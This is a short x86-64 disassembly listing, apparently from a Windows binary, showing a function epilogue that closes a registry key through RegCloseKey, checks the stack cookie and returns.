mov qword [rsp + 0x40], rbp
mov rdx, rsi
mov dword [rsp + 0x48], ebp
mov rcx, rdi
call fcn.140004580
mov ebx, eax
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140005507
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140008e60
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret